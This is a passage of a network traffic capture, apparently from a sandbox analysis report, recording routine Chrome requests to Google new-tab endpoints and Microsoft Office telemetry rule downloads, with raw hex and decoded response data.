2024-11-25 06:53:27 UTC	1390	IN	Data Raw: 65 56 4e 56 52 57 39 6f 51 6a 4e 6c 4b 7a 51 72 62 48 5a 70 54 57 52 51 53 32 4e 5a 4f 45 31 36 57 56 42 44 63 6d 5a 43 56 6b 78 54 65 56 5a 4e 4d 47 4e 4e 53 32 78 77 53 6b 68 44 53 57 38 33 63 31 52 5a 52 45 45 35 52 54 5a 57 54 55 74 54 65 47 30 32 64 55 78 71 52 6d 30 72 65 6d 4a 6f 62 48 70 4c 62 57 4d 78 63 32 56 74 54 6c 49 72 56 31 5a 6f 4e 47 6c 6d 4d 53 74 75 62 44 6b 76 54 45 4d 33 63 6d 38 78 55 54 68 74 54 57 70 46 63 6e 6c 78 62 33 42 4c 59 57 56 54 51 31 70 4f 54 58 4e 69 62 45 68 56 4f 57 6c 45 57 57 70 42 65 6c 49 79 65 47 46 49 64 45 63 30 59 57 4e 35 64 47 35 47 52 6b 68 78 56 6d 67 72 57 6c 4a 53 4e 47 4a 6d 63 6a 6c 51 55 44 63 72 5a 55 73 31 63 57 68 35 62 32 35 6c 4d 31 46 5a 62 45 5a 35 64 47 67 31 53 58 56 56 55 55 6c 79 59 6b 68 Data Ascii: eVNVRW9oQjNlKzQrbHZpTWRQS2NZOE16WVBDcmZCVkxTeVZNMGNNS2xwSkhDSW83c1RZREE5RTZWTUtTeG02dUxqRm0remJobHpLbWMxc2VtTlIrV1ZoNGlmMStubDkvTEM3cm8xUThtTWpFcnlxb3BLYWVTQ1pOTXNibEhVOWlEWWpBelIyeGFIdEc0YWN5dG5GRkhxVmgrWlJSNGJmcjlQUDcrZUs1cWh5b25lM1FZbEZ5dGg1SXVVUUlyYkh
2024-11-25 06:53:27 UTC	418	IN	Data Raw: 4a 44 62 6b 31 44 54 45 4a 4d 64 6d 4a 53 52 6a 52 6b 57 46 51 72 56 48 4e 43 59 53 74 76 59 6b 55 35 5a 55 6c 4c 63 58 4a 76 59 57 56 6e 61 6b 64 59 53 6b 56 30 52 30 74 70 54 30 39 6b 62 6a 46 73 55 7a 42 45 4f 44 68 31 54 6e 64 6d 52 6e 46 30 59 6d 5a 73 63 32 30 31 64 6d 46 4d 55 6c 4e 30 52 6b 74 72 63 32 4a 47 57 6b 56 5a 54 58 4a 45 63 55 4e 45 59 30 68 43 5a 6a 68 5a 65 6b 52 32 56 6e 6c 4e 54 6c 52 4f 63 47 4e 43 62 48 55 79 63 6c 56 6b 53 6b 5a 30 4f 57 49 7a 4d 6a 4d 78 53 45 46 6c 4d 6e 56 70 59 56 42 7a 4d 56 52 4d 57 48 42 56 65 6e 70 52 51 58 5a 54 65 44 5a 55 54 56 70 57 61 6d 70 4c 4d 55 5a 4c 61 30 74 4e 56 6a 41 33 57 45 56 5a 59 54 46 33 51 6d 5a 55 61 46 64 32 4e 47 68 47 53 6c 68 35 61 58 42 35 65 56 46 57 54 45 31 7a 61 33 46 57 54 Data Ascii: JDbk1DTEJMdmJSRjRkWFQrVHNCYStvYkU5ZUlLcXJvYWVnakdYSkV0R0tpT09kbjFsUzBEODh1TndmRnF0YmZsc201dmFMUlN0Rktrc2JGWkVZTXJEcUNEY0hCZjhZekR2VnlNTlROcGNCbHUyclVkSkZ0OWIzMjMxSEFlMnVpYVBzMVRMWHBVenpRQXZTeDZUTVpWampLMUZLa0tNVjA3WEVZYTF3QmZUaFd2NGhGSlh5aXB5eVFWTE1za3FWT
2024-11-25 06:53:27 UTC	541	IN	Data Raw: 32 31 36 0d 0a 64 59 64 30 4a 71 56 6e 68 71 54 6c 46 33 59 56 64 46 55 43 38 76 57 6a 6f 59 52 47 6c 7a 62 6d 56 35 49 45 52 79 5a 57 46 74 62 47 6c 6e 61 48 51 67 56 6d 46 73 62 47 56 35 53 67 63 6a 4e 47 59 30 4d 57 45 7a 55 6b 74 6e 63 31 39 7a 63 33 41 39 5a 55 70 36 61 6a 52 30 56 6c 41 78 65 6d 4d 77 54 45 78 52 63 31 4e 55 52 54 4e 4d 56 45 31 36 57 56 42 54 55 31 4e 4e 61 33 4e 36 61 33 56 30 56 6b 56 6e 63 46 4e 72 4d 30 31 36 59 32 78 4e 65 6e 6c 6f 55 6b 74 46 64 6b 31 35 56 57 31 30 51 6b 46 42 54 47 31 52 4d 32 31 77 42 41 5c 75 30 30 33 64 5c 75 30 30 33 64 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 Data Ascii: 216dYd0JqVnhqTlF3YVdFUC8vWjoYRGlzbmV5IERyZWFtbGlnaHQgVmFsbGV5SgcjNGY0MWEzUktnc19zc3A9ZUp6ajR0VlAxemMwTExRc1NURTNMVE16WVBTU1NNa3N6a3V0VkVncFNrM016Y2xNenloUktFdk15VW10QkFBTG1RM21wBA\u003d\u003d","zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":100
2024-11-25 06:53:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49755	142.250.181.68	443	7668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:27 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49754	142.250.181.68	443	7668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:27 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 06:53:28 UTC	1018	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 25 Nov 2024 06:53:27 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-25 06:53:28 UTC	372	IN	Data Raw: 32 37 33 66 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 273f)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-25 06:53:28 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-25 06:53:28 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-25 06:53:28 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-25 06:53:28 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-25 06:53:28 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 34 34 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700244,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u003dthis
2024-11-25 06:53:28 UTC	1390	IN	Data Raw: 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d Data Ascii: or(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i\u003da}
2024-11-25 06:53:28 UTC	1343	IN	Data Raw: 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c Data Ascii: (\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else throw Error(\"F\");else a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\
2024-11-25 06:53:28 UTC	378	IN	Data Raw: 31 37 33 0d 0a 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 41 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 Data Ascii: 173(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.me\u003dfunction(a,b){_.Ab(b,function(c,d){d\u003d\u003d\"st
2024-11-25 06:53:28 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6c 65 5b 64 5d 2c 63 29 3a 5f 2e 67 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 67 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 6c 65 5c 75 30 30 33 64 7b 63 65 6c 6c 70 61 64 64 69 6e 67 3a 5c 22 63 65 6c 6c 50 61 64 64 69 6e 67 5c 22 2c 63 65 6c 6c 73 70 61 63 69 6e 67 3a 5c 22 63 65 6c 6c 53 70 61 63 69 6e 67 5c 22 2c 63 6f 6c 73 70 61 6e 3a 5c 22 63 6f 6c 53 70 61 6e 5c 22 2c 66 72 61 6d 65 62 6f 72 64 65 72 3a 5c 22 66 72 61 6d 65 42 6f 72 64 65 72 5c 22 2c 68 65 69 67 68 74 3a 5c 22 68 65 69 67 68 74 5c 22 2c 6d 61 78 6c 65 6e 67 74 68 3a 5c 22 6d Data Ascii: 8000perty(d)?a.setAttribute(le[d],c):_.ge(d,\"aria-\")\|\|_.ge(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};le\u003d{cellpadding:\"cellPadding\",cellspacing:\"cellSpacing\",colspan:\"colSpan\",frameborder:\"frameBorder\",height:\"height\",maxlength:\"m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49753	142.250.181.68	443	7668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:27 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 06:53:27 UTC	933	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 25 Nov 2024 06:53:27 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-25 06:53:27 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-25 06:53:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:27 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:27 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: ba5d631a-801e-0047-14d1-3e7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065327Z-15b8b599d889fz52hC1TEB59as00000005n0000000003nq6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:27 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:27 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 686dd03c-b01e-005c-4d47-3c4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065327Z-15b8b599d88hr8sfhC1TEBbca400000005e000000000b0bw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
